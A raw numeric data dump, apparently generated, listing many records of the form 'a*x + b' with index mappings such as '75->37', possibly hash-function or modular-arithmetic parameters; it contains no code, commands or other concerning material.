38 54361*x + 7496 75->37 114 73589*x + 5990 86->9 115 75557*x + 7391 85->44 45 40627*x + 969 13->78 76 58057*x + 3855 75->41 73 84589*x + 16209 93->58 35 102061*x + 8467 71->96 67 56531*x + 7863 84->55 39 74167*x + 8025 24->1 112 102701*x + 12413 19->37 114 1487*x + 4926 90->11 43 60373*x + 2177 57->29 38 88379*x + 15635 83->11 43 58997*x + 3747 35->4 48 20369*x + 7438 74->37 114 27653*x + 6909 48->22 64 11119*x + 3679 30->35 88 90631*x + 9419 72->84 89 7723*x + 1283 32->11 43 74201*x + 5693 34->33 122 72937*x + 3033 62->33 122 100237*x + 13776 83->85 83 16139*x + 3246 14->48 78 74729*x + 2864 55->94 125 57041*x + 2121 86->15 63 74623*x + 887 99->52 42 34877*x + 1731 48->86 53 13831*x + 6323 39->36 79 89983*x + 15135 25->38 75 82469*x + 5038 58->74 55 33617*x + 6134 97->84 89 82609*x + 509 82->51 97 101183*x + 13138 69->3 118 10657*x + 6880 61->25 52 81299*x + 3415 69->51 97 41411*x + 1139 74->29 38 20269*x + 315 77->89 107 64601*x + 5887 36->26 81 70321*x + 2951 96->41 73 26693*x + 6209 64->96 67 821*x + 66 65->44 45 4733*x + 7416 98->47 90 101603*x + 13933 53->38 75 46199*x + 4508 19->31 47 29429*x + 7623 83->78 76 61987*x + 4721 24->53 120 99119*x + 15678 71->80 110 69317*x + 5223 87->54 94 75641*x + 2080 32->29 38 93979*x + 8839 79->11 43 29567*x + 3545 70->55 39 55381*x + 5606 44->82 40 64871*x + 4577 48->37 114 62989*x + 1503 5->10 46 3583*x + 8093 13->52 42 37957*x + 7069 97->19 61 50273*x + 5443 63->4 48 24049*x + 3434 4->72 92 92893*x + 10893 32->58 35 61291*x + 626 42->62 103 12379*x + 2041 48->74 55 92831*x + 9348 56->23 11 100549*x + 13176 26->10 46 68543*x + 5913 21->39 113 41149*x + 71 77->16 66 53993*x + 6460 32->78 76 85837*x + 9522 45->12 101 57881*x + 87 96->82 40 18353*x + 5938 65->49 68 95857*x + 10620 55->82 40 34883*x + 7955 74->32 69 13477*x + 2146 67->24 65 59197*x + 2722 58->73 102 69539*x + 2231 6->72 92 42299*x + 5630 79->76 124 97613*x + 9294 7->61 10 27487*x + 7242 11->67 117 95003*x + 10863 9->81 32 95153*x + 8727 36->77 106 18257*x + 4941 59->21 9 31153*x + 1175 18->36 79 97081*x + 11342 73->86 53 23929*x + 4426 18->12 101 77867*x + 4402 10->15 63 27617*x + 1845 31->52 42 64591*x + 5684 80->43 105 40253*x + 7562 20->14 77 41521*x + 1871 16->39 113 17807*x + 3568 72->88 71 98519*x + 11526 35->77 106 102797*x + 8359 98->15 63 100823*x + 11109 15->79 100 1319*x + 1841 54->9 115 64171*x + 4076 83->32 69 99469*x + 16326 55->98 93 54493*x + 4044 97->5 82 53327*x + 6813 45->62 103 10343*x + 5472 98->2 72 6173*x + 149 0->43 105 20543*x + 2317 72->66 44 59753*x + 5257 98->45 13 85523*x + 10315 66->17 104 83563*x + 1904 96->91 91 44809*x + 2244 73->94 125 36343*x + 6120 78->42 87 22391*x + 158 44->30 96 61981*x + 8149 17->63 60 102763*x + 9477 45->56 119 86371*x + 10536 16->83 12 75937*x + 5705 38->67 117 86179*x + 9583 65->19 61 88001*x + 9474 75->42 87 54293*x + 5012 39->51 97 2617*x + 7197 82->25 52 88289*x + 9060 90->93 98 76777*x + 550 59->47 90 16729*x + 2070 42->76 124 31511*x + 7950 57->88 71 91499*x + 14926 45->84 89 21187*x + 4505 91->4 48 62801*x + 1142 18->91 91 96553*x + 13998 1->81 32 24133*x + 7160 4->60 85 79867*x + 1766 43->55 39 59119*x + 4338 79->48 78 53731*x + 6029 29->14 77 95539*x + 9163 47->65 95 62549*x + 145 13->40 34 41057*x + 7666 66->16 66 91097*x + 16116 77->63 60 8747*x + 7672 45->17 104 44621*x + 720 77->53 120 43591*x + 4540 88->94 125 43793*x + 5060 60->87 121 36529*x + 6035 6->41 73 56467*x + 4906 32->99 54 29629*x + 4241 81->11 43 82963*x + 4004 0->46 74 28789*x + 3632 39->40 34 100801*x + 12788 72->0 33 45631*x + 6218 96->74 55 75401*x + 2322 40->86 53 76757*x + 420 30->38 75 71887*x + 7489 58->98 93 52711*x + 4005 35->58 35 90401*x + 15801 8->55 39 67409*x + 132 32->8 49 63863*x + 1625 46->77 106 43499*x + 2199 3->7 126 26119*x + 2132 88->15 63 18041*x + 5256 15->74 55 79777*x + 7273 48->88 71 98573*x + 12963 61->62 103 23201*x + 1954 0->98 93 42967*x + 5023 16->48 78 89939*x + 14533 63->70 57 81937*x + 4820 64->69 59 93323*x + 13500 34->39 113 87539*x + 9354 93->19 61 16193*x + 3917 17->12 101 72307*x + 4250 29->21 9 66373*x + 1960 56->64 70 3517*x + 3255 55->36 79 98213*x + 10784 90->28 50 68993*x + 6130 54->44 45 32063*x + 2879 24->39 113 87811*x + 9456 25->99 54 2903*x + 7221 3->21 9 35569*x + 405 49->66 44 48029*x + 7601 98->62 103 83401*x + 1188 24->81 32 76163*x + 6631 2->29 38 49853*x + 4907 99->46 74 88079*x + 15886 49->48 78 27449*x + 1163 61->6 123 20441*x + 2725 69->57 109 47639*x + 4369 70->79 100 197*x + 5413 76->34 41 104459*x + 15314 65->30 96 38281*x + 885 81->56 119 55547*x + 5057 68->47 90 37831*x + 3593 69->8 49 43543*x + 740 53->54 94 40037*x + 7406 70->35 88 89603*x + 13284 66->72 92 55313*x + 4994 43->59 84 18793*x + 6834 31->93 98 37643*x + 5330 3->85 83 98807*x + 13714 14->45 13 96731*x + 13039 80->15 63 25423*x + 2185 61->92 51 32183*x + 2050 37->43 105 88513*x + 11286 36->63 60 4111*x + 4130 40->80 110 56843*x + 2907 6->56 119 50551*x + 4584 47->74 55 1303*x + 1721 99->17 104 57139*x + 5534 6->58 35 72161*x + 6085 8->71 37 11939*x + 4751 95->25 52 63853*x + 4248 7->9 115 12889*x + 6398 16->53 120 68521*x + 4730 57->20 62 16253*x + 1522 63->81 32 9461*x + 7016 79->81 32 21277*x + 6107 14->24 65 55589*x + 3628 72->73 102 49613*x + 5072 91->59 84 78517*x + 3573 30->23 11 90239*x + 13510 26->97 108 79133*x + 31 8->13 99 70981*x + 6509 47->17 104 75679*x + 1568 35->29 38 9829*x + 2563 15->62 103 44549*x + 7144 96->12 101 45131*x + 5483 8->80 110 63559*x + 3092 39->86 53 23269*x + 7835 36->22 64 86929*x + 16020 35->45 13 5483*x + 6197 69->19 61 99559*x + 11270 50->6 123 15107*x + 3132 67->26 81 62171*x + 7784 53->97 108 17627*x + 5959 77->56 119 5087*x + 742 99->51 97 9689*x + 175 73->18 80 83641*x + 5826 21->15 63 91771*x + 13789 38->22 64 18539*x + 7938 56->86 53 383*x + 6517 38->70 57 75269*x + 6275 93->43 105 26161*x + 1022 69->24 65 23993*x + 3046 31->75 56 99139*x + 11596 97->11 43 79901*x + 866 46->62 103 911*x + 5674 40->24 65 75209*x + 1177 10->32 69 95791*x + 10232 98->37 114 99367*x + 10380 47->56 119 73727*x + 6276 55->70 57 27767*x + 5216 7->12 101 75967*x + 5621 80->95 111 58789*x + 2855 28->34 41 19249*x + 8023 19->38 75 93941*x + 12511 88->13 99 58369*x + 6621 91->96 67 31337*x + 7219 62->75 56 46337*x + 3345 37->70 57 102667*x + 9531 89->49 68 62131*x + 3307 46->87 121 78877*x + 3051 13->86 53 73897*x + 2522 0->70 57 5527*x + 752 0->60 85 51193*x + 6372 55->16 66 43427*x + 4495 92->18 80 55663*x + 6567 48->38 75 50993*x + 1418 58->7 126 34819*x + 5578 53->69 59 82141*x + 6650 51->20 62 67699*x + 3938 48->81 32 17749*x + 1964 72->87 121 70003*x + 718 30->46 74 12503*x + 6472 74->93 98 41549*x + 3072 25->85 83 11149*x + 4922 49->54 94 42019*x + 1946 63->15 63 46507*x + 4287 27->45 13 65357*x + 7448 2->34 41 31883*x + 3207 35->63 60 23767*x + 6251 57->41 73 99529*x + 9285 70->0 33 41413*x + 7239 88->84 89 101987*x + 13774 87->60 85 69379*x + 1973 30->27 58 4409*x + 6468 59->79 100 59207*x + 22 68->13 99 61417*x + 7732 57->32 69 26437*x + 6013 38->20 62 3361*x + 1578 64->11 43 47807*x + 4139 50->85 83 41243*x + 7683 75->26 81 89227*x + 13262 6->82 40 24889*x + 4480 61->71 37 71387*x + 7998 99->59 84 967*x + 217 68->79 100 61609*x + 7278 75->68 36 2953*x + 5763 16->45 13 39181*x + 1924 50->28 50 30697*x + 3332 3->17 104 98377*x + 16222 16->13 99 22271*x + 5468 34->30 96 75979*x + 3849 97->72 92 8803*x + 7234 45->72 92 28283*x + 5172 71->91 91 98711*x + 9719 13->25 52 93151*x + 9140 0->2 72 84457*x + 16380 39->97 108 61471*x + 5672 33->65 95 70867*x + 2555 99->73 102 46889*x + 1290 42->7 126 103867*x + 15802 74->76 124 1973*x + 7882 83->31 47 75403*x + 4681 9->24 65 21911*x + 4481 91->3 118 70079*x + 1067 33->10 46 6991*x + 1530 66->2 72 77719*x + 6334 82->38 75 57119*x + 7933 93->53 120 58579*x + 3680 81->60 85 28019*x + 2652 63->73 102 52583*x + 5313 39->98 93 17317*x + 3907 40->36 79 73091*x + 4822 12->75 56 84961*x + 8366 85->25 52 82039*x + 5184 86->47 90 3203*x + 3536 7->40 34 76919*x + 1333 7->20 62 10847*x + 6206 88->50 116 94597*x + 12353 83->25 52 74357*x + 2592 88->81 32 51047*x + 5799 18->78 76 93997*x + 9653 37->23 11 58129*x + 4358 15->93 98 28573*x + 2238 39->7 126 42473*x + 848 5->51 97 86201*x + 15181 63->22 64 7109*x + 4909 59->88 71 48313*x + 2390 81->75 56 20147*x + 7248 99->30 96 101807*x + 15260 64->25 52 95801*x + 8425 93->81 32 20627*x + 4034 67->10 46 17239*x + 4264 87->30 96 29663*x + 723 26->9 115 20959*x + 6703 75->6 123 5441*x + 7569 14->54 94 81967*x + 4829 23->36 79 30119*x + 6368 42->88 71 83009*x + 7813 61->65 95 11287*x + 5939 90->44 45 20773*x + 5033 12->89 107 1097*x + 260 23->29 38 27799*x + 6227 57->86 53 45293*x + 3940 88->40 34 9769*x + 6724 94->38 75 40289*x + 93 96->0 33 86441*x + 13925 71->92 51 55933*x + 2624 87->40 34 74933*x + 473 5->78 76 10259*x + 6173 5->6 123 8831*x + 2789 16->67 117 83299*x + 2954 60->16 66 72169*x + 5314 73->36 79 71663*x + 6714 17->27 58 9137*x + 5717 52->54 94 35531*x + 5619 96->27 58 90263*x + 12245 43->37 114 42787*x + 724 82->81 32 70537*x + 1021 23->49 68 66463*x + 1305 83->54 94 66683*x + 2580 40->72 92 84967*x + 14316 10->58 35 32653*x + 1543 77->44 45 84481*x + 11244 50->24 65 57149*x + 6636 94->8 49 100267*x + 13052 22->24 65 13043*x + 2017 73->57 109 69827*x + 250 74->89 107 33353*x + 7640 38->97 108 7853*x + 4093 54->51 97 102533*x + 16038 49->82 40 59779*x + 6779 5->90 86 45553*x + 3401 7->48 78 51449*x + 3038 36->81 32 49531*x + 6756 98->75 56 72047*x + 2255 23->90 86 79973*x + 5064 20->82 40 32089*x + 2389 78->26 81 13537*x + 1862 72->36 79 46853*x + 4818 10->98 93 6857*x + 5664 92->22 64 12289*x + 4340 92->89 107 12473*x + 7006 90->52 42 12979*x + 6463 37->98 93 85847*x + 9700 33->86 53 63317*x + 3096 30->82 40 42463*x + 3594 33->44 45 35141*x + 5724 22->25 52 102503*x + 9464 31->67 117 96857*x + 11902 26->49 68 8369*x + 2354 42->81 32 103723*x + 10803 11->60 85 53407*x + 1234 46->54 94 21839*x + 4087 46->88 71 32341*x + 1123 67->96 67 85121*x + 11468 20->72 92 3529*x + 7253 84->60 85 26321*x + 7768 13->32 69 53917*x + 4200 27->1 112 23327*x + 1002 49->37 114 4783*x + 3979 29->4 48 2099*x + 3060 19->61 10 35933*x + 3470 17->49 68 65371*x + 756 4->42 87 95617*x + 8283 16->72 92 10169*x + 1831 34->63 60 29023*x + 6629 30->97 108 70381*x + 5767 38->49 68 61027*x + 3121 72->39 113 86027*x + 16216 60->58 35 76259*x + 3449 84->27 58 76673*x + 1382 45->79 100 23459*x + 6438 24->12 101 11423*x + 7138 98->31 47 7433*x + 7286 25->81 32 75391*x + 6062 22->98 93 92489*x + 15146 49->89 107 40387*x + 2341 99->48 78 46399*x + 662 84->50 116 71993*x + 2467 19->83 12 92941*x + 9401 19->5 82 94291*x + 10529 56->30 96 86629*x + 10875 24->46 74 82759*x + 7942 74->4 48 34327*x + 643 80->21 9 25307*x + 2627 23->69 59 94447*x + 12589 18->35 88 47269*x + 1514 50->57 109 84857*x + 8905 51->55 39 92861*x + 8611 26->77 106 97883*x + 15401 47->46 74 2909*x + 5439 67->46 74 77489*x + 2679 46->8 49 98297*x + 8922 34->68 36 40129*x + 2717 79->50 116 58687*x + 5004 29->3 118 6761*x + 6456 29->98 93 10939*x + 3461 74->97 108 95869*x + 13387 14->10 46 37013*x + 6007 16->50 116 53117*x + 2922 63->2 72 9973*x + 6061 69->98 93 82723*x + 162 61->3 118 31847*x + 4901 90->17 104 19433*x + 7561 20->9 115 37813*x + 3686 97->3 118 51859*x + 3184 38->89 107 36997*x + 3738 92->69 59 78977*x + 7796 0->35 88 53831*x + 5798 31->44 45 62201*x + 5303 47->95 111 59281*x + 4556 76->41 73 100501*x + 15014 14->47 90 98123*x + 14927 6->43 105 67511*x + 2274 12->59 84 5303*x + 347 15->33 122 72661*x + 4202 22->62 103 65269*x + 6293 51->63 60 46901*x + 5863 30->78 76 52951*x + 2334 20->69 59 19777*x + 3608 1->84 89 7901*x + 251 70->27 58 2633*x + 705 24->73 102 27779*x + 5350 48->27 58 70979*x + 310 65->41 73 4567*x + 7563 86->13 99 87403*x + 12444 34->47 90 32377*x + 458 2->45 13 37277*x + 6147 23->83 12 75991*x + 57 32->76 124 81707*x + 3629 14->20 62 24443*x + 4132 54->25 52 15077*x + 5193 59->28 50 60257*x + 6337 31->6 123 80809*x + 6199 7->71 37 25303*x + 6624 38->5 82 78691*x + 4538 17->86 53 96527*x + 14035 17->71 37 52237*x + 4993 19->47 90 10313*x + 2761 87->13 99 36599*x + 5889 9->47 90 90247*x + 12816 68->0 33 5501*x + 3521 46->38 75 26347*x + 7021 85->86 53 67217*x + 6746 69->85 83 13099*x + 1971 36->83 12 20939*x + 6502 26->24 65 35839*x + 2901 31->4 48 64067*x + 6882 77->83 12 45083*x + 1539 90->43 105 24943*x + 1988 1->50 116 29411*x + 839 74->52 42 86693*x + 15602 23->27 58 38561*x + 3616 96->76 124 60601*x + 2052 65->81 32 11971*x + 6431 43->70 57 24593*x + 5708 92->92 51 82561*x + 6050 63->38 75 12197*x + 8143 34->20 62 101221*x + 13351 67->19 61 60101*x + 3931 25->86 53 44371*x + 4534 57->48 78 4241*x + 213 78->83 12 57787*x + 3187 43->9 115 19141*x + 484 51->87 121 26459*x + 6414 23->10 46 81761*x + 302 18->53 120 25747*x + 5976 58->47 90 25969*x + 7158 5->91 91 38393*x + 5281 79->4 48 68819*x + 2866 78->33 122 48271*x + 3237 13->65 95 70627*x + 343 94->45 13 90407*x + 13483 5->44 45 90529*x + 13481 22->55 39 22247*x + 4408 79->22 64 4259*x + 5277 26->89 107 17389*x + 3027 12->52 42 90359*x + 11314 14->25 52 71237*x + 7125 93->24 65 14591*x + 4377 94->59 84 70141*x + 1323 17->3 118 97151*x + 8258 2->12 101 82219*x + 7001 8->63 60 21773*x + 1745 11->28 50 66541*x + 6049 65->69 59 51239*x + 6400 12->22 64 23819*x + 4582 94->20 62 73013*x + 2888 26->45 13 85091*x + 15018 83->18 80 68909*x + 6697 56->48 78 5081*x + 7480 58->49 68 40151*x + 7690 53->67 117 75703*x + 7730 51->81 32 51599*x + 3267 22->80 110 73693*x + 5473 15->85 83 81971*x + 113 30->49 68 74959*x + 1702 2->30 96 88241*x + 9830 47->24 65 91867*x + 14549 16->30 96 96749*x + 14013 6->31 47 96823*x + 9304 98->9 115 75709*x + 1852 49->8 49 69499*x + 3762 85->78 76 70111*x + 1818 36->45 13 85381*x + 11552 40->43 105 68023*x + 7346 85->68 36 23473*x + 5458 84->98 93 87037*x + 16282 86->83 12 95383*x + 12284 45->23 11 51853*x + 3158 69->42 87 26561*x + 3079 12->73 102 10949*x + 6090 6->62 103 31567*x + 3798 71->49 68 9377*x + 1484 87->11 43 33331*x + 4736 60->0 33 92593*x + 11190 91->64 70 51749*x + 2997 97->96 67 94841*x + 9858 77->22 64 28729*x + 7804 20->60 85 48193*x + 7618 93->74 55 19001*x + 2268 81->99 54 72383*x + 8077 94->57 109 63097*x + 2207 17->52 42 31699*x + 1025 73->99 54 63659*x + 6961 36->40 34 74353*x + 5417 88->69 59 32833*x + 7097 7->11 43 65027*x + 1601 75->5 82 73823*x + 5387 35->39 113 93911*x + 13803 72->11 43 8783*x + 1806 80->39 113 59351*x + 7881 86->59 84 40853*x + 2359 29->84 89 99661*x + 8418 10->24 65 37561*x + 3298 78->73 102 83869*x + 2936 93->1 112 35797*x + 4548 91->31 47 40787*x + 3447 93->76 124 87541*x + 13525 28->40 34 101749*x + 10044 25->69 59 22189*x + 7198 16->99 54 25583*x + 5446 34->53 120 95203*x + 15722 79->33 122 15641*x + 1934 29->34 41 22691*x + 1615 88->27 58 80557*x + 965 22->85 83 45751*x + 147 24->51 97 104399*x + 10699 3->20 62 41491*x + 3693 67->11 43 45557*x + 7937 51->47 90 82139*x + 6842 59->13 99 39301*x + 5086 38->15 63 50383*x + 3266 76->45 13 72883*x + 1084 1->73 102 42727*x + 291 81->10 46 78049*x + 4442 88->92 51 25873*x + 2753 6->78 76 20411*x + 3389 23->86 53 102611*x + 10539 58->58 35 21929*x + 5996 58->83 12 11519*x + 557 62->19 61 102079*x + 12006 28->41 73 21499*x + 561 57->74 55 41897*x + 97 72->5 82 7487*x + 6376 47->82 40 87679*x + 15265 16->47 90 100391*x + 14475 2->97 108 4421*x + 2400 67->25 52 68239*x + 2644 17->16 66 28541*x + 5726 55->45 13 71899*x + 1423 85->28 50 29297*x + 4071 44->7 126 4957*x + 2967 14->58 35 84913*x + 10583 22->35 88 14821*x + 3154 93->44 45 52543*x + 7944 30->29 38 46997*x + 1046 69->61 10 77783*x + 3196 68->31 47 60953*x + 2163 19->2 72 52081*x + 1421 27->35 88 83717*x + 1473 4->99 54 44203*x + 7111 37->1 112 37861*x + 273 8->12 101 2503*x + 1917 41->52 42 5021*x + 5776 83->9 115 19309*x + 1128 78->3 118 21347*x + 4355 77->3 118 18917*x + 59 83->76 124 81199*x + 6505 60->39 113 92821*x + 11291 80->66 44 97169*x + 16065 69->41 73 44507*x + 6796 10->53 120 36527*x + 6008 67->33 122 9677*x + 7658 76->26 81 76507*x + 1977 27->16 66 27127*x + 7509 37->54 94 13441*x + 1320 49->0 33 66587*x + 5660 25->68 36 6883*x + 3695 7->76 124 56453*x + 6219 74->65 95 4327*x + 5070 52->64 70 88661*x + 13566 20->6 123 11047*x + 2812 97->89 107 41539*x + 7968 7->14 77 35977*x + 193 50->21 9 19841*x + 1057 99->44 45 92431*x + 15107 29->24 65 87691*x + 12017 96->79 100 102233*x + 15228 9->44 45 9679*x + 7927 30->79 100 28001*x + 2169 20->57 109 65033*x + 4274 21->59 84 19937*x + 3644 18->94 125 24281*x + 1710 30->84 89 70457*x + 298 45->71 37 57719*x + 4519 97->60 85 59369*x + 7062 52->10 46 23873*x + 4151 29->81 32 14197*x + 6761 44->46 74 3373*x + 1152 21->54 94 61379*x + 5894 95->71 37 87293*x + 9548 36->54 94 48311*x + 1433 1->96 67 7673*x + 3828 33->81 32 90371*x + 10086 11->83 12 28949*x + 2038 54->40 34 92033*x + 10370 71->76 124 101741*x + 11366 1->28 50 17597*x + 3544 66->29 38 89563*x + 8365 65->9 115 35597*x + 5525 68->28 50 62047*x + 675 63->97 108 56039*x + 3909 2->57 109 76231*x + 2051 10->44 45 17477*x + 5369 25->46 74 37363*x + 4383 48->63 60 25321*x + 5081 70->87 121 27529*x + 3974 97->10 46 64621*x + 5897 35->52 42 65053*x + 3163 20->73 102 50627*x + 2840 49->68 36 52067*x + 6452 19->49 68 90469*x + 9400 92->17 104 71711*x + 5083 33->80 110 69151*x + 5246 98->39 113 63671*x + 7176 78->81 32 101197*x + 10191 31->16 66 4993*x + 2904 61->14 77 27197*x + 3040 87->74 55 57899*x + 3647 95->72 92 62323*x + 4640 54->63 60 46633*x + 711 43->46 74 26717*x + 807 58->65 95 593*x + 6309 79->43 105 97967*x + 16377 63->19 61 38011*x + 6428 86->36 79 62011*x + 5316 30->45 13 14303*x + 1798 82->52 42 21011*x + 1303 28->90 86 101611*x + 15921 6->3 118 41341*x + 3411 81->69 59 15259*x + 5092 60->89 107 64081*x + 4595 44->31 47 38873*x + 6346 29->72 92 6133*x + 5994 74->82 40 28429*x + 3481 68->74 55 49081*x + 6180 87->92 51 97547*x + 12068 63->63 60 39293*x + 3313 90->29 38 70783*x + 1552 13->4 48 55243*x + 7582 89->66 44 95191*x + 14536 90->6 123 60649*x + 1637 47->3 118 653*x + 3140 17->53 120 7417*x + 6965 33->58 35 36919*x + 3053 39->62 103 80897*x + 7264 91->7 126 33749*x + 4117 52->39 113 23831*x + 5341 15->61 10 70423*x + 5730 73->8 49 101027*x + 13557 41->80 110 67453*x + 4724 12->68 36 19139*x + 7624 54->28 50 60107*x + 4910 83->53 120 10163*x + 1436 16->16 66 68539*x + 130 15->90 86 14621*x + 153 5->15 63 12899*x + 2836 95->19 61 90787*x + 10242 43->36 79 9319*x + 8054 75->71 37 87251*x + 15992 49->4 48 65789*x + 4344 76->32 69 38993*x + 3403 80->60 85 6599*x + 1903 80->88 71 5827*x + 6246 80->18 80 50543*x + 4851 47->92 51 102653*x + 14569 32->21 9 13807*x + 4801 50->30 96 5507*x + 3170 64->37 114 72923*x + 6921 11->94 125 43753*x + 4178 66->99 54 59863*x + 850 75->29 38 99401*x + 9194 89->70 57 48481*x + 3492 9->8 49 29803*x + 865 87->44 45 84199*x + 10474 63->23 11 32069*x + 4803 67->99 54 93059*x + 13274 40->73 102 89*x + 365 47->44 45 47933*x + 6341 93->95 111 83311*x + 3597 46->72 92 19687*x + 4216 41->64 70 2141*x + 7289 56->29 38 10709*x + 8182 77->12 101 43313*x + 6232 0->1 112 65837*x + 6391 2->87 121 24407*x + 7858 14->78 76 48473*x + 1297 20->64 70 48479*x + 1476 97->70 57 1669*x + 3636 93->31 47 46457*x + 5482 73->31 47 61547*x + 4010 43->49 68 22571*x + 3968 96->90 86 94889*x + 12890 91->18 80 15551*x + 2800 77->86 53 25357*x + 3007 18->47 90 101891*x + 13065 81->46 74 33703*x + 7058 45->67 117 61843*x + 6365 35->35 88 34607*x + 590 84->93 98 36721*x + 2090 40->19 61 78541*x + 2083 49->92 51 45943*x + 3810 47->63 60 52249*x + 1493 41->55 39 58967*x + 5337 63->55 39 63599*x + 2847 87->65 95 12569*x + 8064 78->0 33 84521*x + 8443 2->82 40 75193*x + 7444 8->11 43 54673*x + 4718 67->64 70 68791*x + 5344 93->63 60 86351*x + 13625 91->85 83 87421*x + 14570 62->14 77 6829*x + 7599 95->52 42 48781*x + 3427 97->98 93 18061*x + 3580 42->49 68 8597*x + 3458 7->45 13 1499*x + 6665 16->8 49 11159*x + 4759 57->63 60 3907*x + 7325 5->5 82 38839*x + 931 85->35 88 24659*x + 7799 44->93 98 9491*x + 2551 4->32 69 73847*x + 3146 88->4 48 70009*x + 2655 29->51 97 75503*x + 8070 16->58 35 48593*x + 1408 63->98 93 78487*x + 4058 38->19 61 31601*x + 2806 17->64 70 54833*x + 4149 62->53 120 77153*x + 5220 91->88 71 1163*x + 272 92->80 110 39371*x + 7736 82->90 86 1811*x + 2148 8->16 66 8237*x + 4973 4->75 56 5171*x + 5957 82->14 77 36781*x + 2263 17->33 122 78017*x + 6562 75->20 62 15601*x + 5622 58->70 57 79301*x + 7276 46->91 91 74203*x + 5031 58->75 56 13249*x + 1834 68->12 101 30491*x + 679 38->38 75 68767*x + 6403 89->62 103 78577*x + 4176 40->49 68 38959*x + 5444 83->0 33 36871*x + 4648 25->25 52 21467*x + 859 41->99 54 34589*x + 902 95->43 105 18973*x + 3709 64->68 36 18233*x + 2673 51->68 36 40487*x + 4510 31->62 103 34033*x + 5567 26->53 120 13913*x + 7023 70->9 115 47581*x + 7497 80->73 102 44087*x + 1468 91->53 120 17491*x + 7032 55->14 77 27943*x + 772 84->82 40 67751*x + 5005 44->20 62 70919*x + 4195 7->6 123 96931*x + 12160 80->12 101 10687*x + 7673 41->62 103 2339*x + 486 95->73 102 38261*x + 1974 81->86 53 61979*x + 2996 67->56 119 84391*x + 12672 16->54 94 103669*x + 11656 8->99 54 97579*x + 16370 97->82 40 89273*x + 12601 92->98 93 181*x + 5968 11->21 9 18521*x + 1221 90->20 62 46919*x + 3358 8->19 61 20857*x + 5209 74->67 117 62327*x + 6480 98->24 65 76423*x + 305 37->46 74 56993*x + 4783 14->86 53 77323*x + 5620 32->59 84 87151*x + 9035 73->54 94 30089*x + 7949 56->66 44 67819*x + 736 35->21 9 22817*x + 5087 69->38 75 65699*x + 5552 95->93 98 31181*x + 5212 14->89 107 83621*x + 4268 62->68 36 69341*x + 773 52->16 66 54167*x + 4462 49->63 60 47659*x + 2422 98->95 111 83663*x + 7598 67->93 98 23369*x + 4280 92->39 113 10499*x + 7199 75->70 57 57991*x + 3570 40->4 48 58441*x + 6210 26->34 41 99089*x + 10221 73->28 50 102931*x + 11917 11->87 121 59833*x + 4246 90->60 85 25793*x + 275 70->89 107 61819*x + 3551 86->5 82 75211*x + 4840 34->65 95 32299*x + 7783 41->54 94 96827*x + 13671 47->85 83 15467*x + 3703 30->62 103 16903*x + 7884 29->36 79 87613*x + 15496 14->15 63 9467*x + 5512 24->54 94 39227*x + 5648 7->37 114 69763*x + 1233 1->92 51 101161*x + 11598 11->55 39 64279*x + 6073 67->13 99 50363*x + 5966 12->66 44 66337*x + 5935 24->59 84 26669*x + 2117 55->69 59 103549*x + 15403 21->97 108 59149*x + 1429 4->30 96 79399*x + 924 18->37 114 29209*x + 7603 75->15 63 102293*x + 14402 18->69 59 37781*x + 5904 67->72 92 52727*x + 2965 95->29 38 63803*x + 7456 96->64 70 56333*x + 8169 39->9 115 6763*x + 3774 93->22 64 70393*x + 2001 0->51 97 94079*x + 10354 49->81 32 55079*x + 1761 21->37 114 97007*x + 10819 54->7 126 42139*x + 6602 90->91 91 46439*x + 3650 62->76 124 71429*x + 3000 76->71 37 59357*x + 413 12->10 46 8863*x + 6347 58->84 89 33589*x + 7331 73->70 57 62507*x + 4825 12->98 93 16661*x + 3077 53->79 100 90067*x + 9283 68->30 96 25219*x + 3957 76->51 97 56437*x + 5655 28->72 92 18149*x + 655 62->24 65 84919*x + 9936 20->47 90 35461*x + 521 53->78 76 35069*x + 6436 50->10 46 35573*x + 5549 76->69 59 7699*x + 5430 10->71 37 61561*x + 7880 15->37 114 15767*x + 7067 62->12 101 11173*x 4->82 40 10909*x + 3967 51->34 41 43991*x + 1670 45->48 78 82903*x + 4336 34->94 125 93983*x + 15776 48->0 33 4253*x + 138 80->19 61 93407*x + 14458 86->77 106 70957*x + 6972 5->11 43 2203*x + 6338 26->95 111 45587*x + 5919 77->55 39 50333*x + 5041 88->6 123 91801*x + 8361 41->75 56 100747*x + 11535 3->58 35 89017*x + 9792 85->91 91 85627*x + 9449 6->95 111 63839*x + 8131 82->48 78 95723*x + 11980 74->49 68 88643*x + 9507 81->85 83 77509*x + 7494 87->16 66 15661*x + 4084 80->92 51 67523*x + 526 44->99 54 85331*x + 13337 41->45 13 27539*x + 7439 33->51 97 51203*x + 4266 32->9 115 2777*x + 3202 7->59 84 14633*x + 513 50->81 32 40093*x + 1236 82->65 95 30727*x + 8157 65->34 41 69337*x + 8117 26->23 11 52903*x + 6783 15->89 107 102071*x + 11612 42->94 125 27283*x + 7196 5->42 87 45139*x + 4931 41->76 124 40697*x + 7312 42->28 50 97553*x + 9701 55->35 88 17419*x + 4422 84->42 87 8707*x + 1409 25->72 92 67429*x + 5248 61->57 109 15629*x + 3694 94->4 48 86243*x + 12459 65->36 79 32687*x + 6124 47->35 88 5839*x + 6700 99->28 50 102677*x + 8355 31->36 79 1571*x + 3507 2->51 97 39317*x + 5977 28->63 60 14629*x + 6102 8->50 116 55373*x + 1502 24->90 86 48847*x + 7600 59->68 36 54877*x + 1313 40->6 123 88771*x + 13810 26->64 70 63493*x + 6250 98->17 104 63059*x + 7064 76->82 40 16451*x + 4655 79->71 37 26903*x + 289 52->31 47 1367*x + 4152 42->99 54 92779*x + 13423 77->50 116 30013*x + 1261 60->78 76 15797*x + 4164 46->67 117 67261*x + 3831 30->74 55 15791*x + 3052 25->52 42 12583*x + 1856 2->94 125 23981*x + 7157 37->69 59 2083*x + 656 77->15 63 66977*x + 994 67->38 75 38653*x + 695 35->60 85 90089*x + 15073 66->68 36 83653*x + 5599 36->8 49 45263*x + 4863 53->19 61 69259*x + 7100 72->33 122 70297*x + 2328 36->34 41 14771*x + 5588 6->70 57 39157*x + 2574 51->27 58 72337*x + 259 18->45 13 104729*x + 8522 40->14 77 95507*x + 12669 32->89 107 44953*x + 3662 22->3 118 29009*x + 2091 95->5 82 84121*x + 10253 66->70 57 97423*x + 8224 94->2 72 77137*x + 427 2->24 65 63799*x + 2572 39->8 49 51349*x + 1180 67->41 73 15733*x + 4074 92->62 103 92227*x + 13124 44->19 61 16829*x + 1432 12->21 9 103319*x + 13399 56->52 42 64937*x + 1581 55->54 94 6481*x + 7864 43->5 82 25703*x + 1853 79->85 83 73783*x + 8053 79->20 62 2153*x + 821 38->53 120 48823*x + 1532 39->44 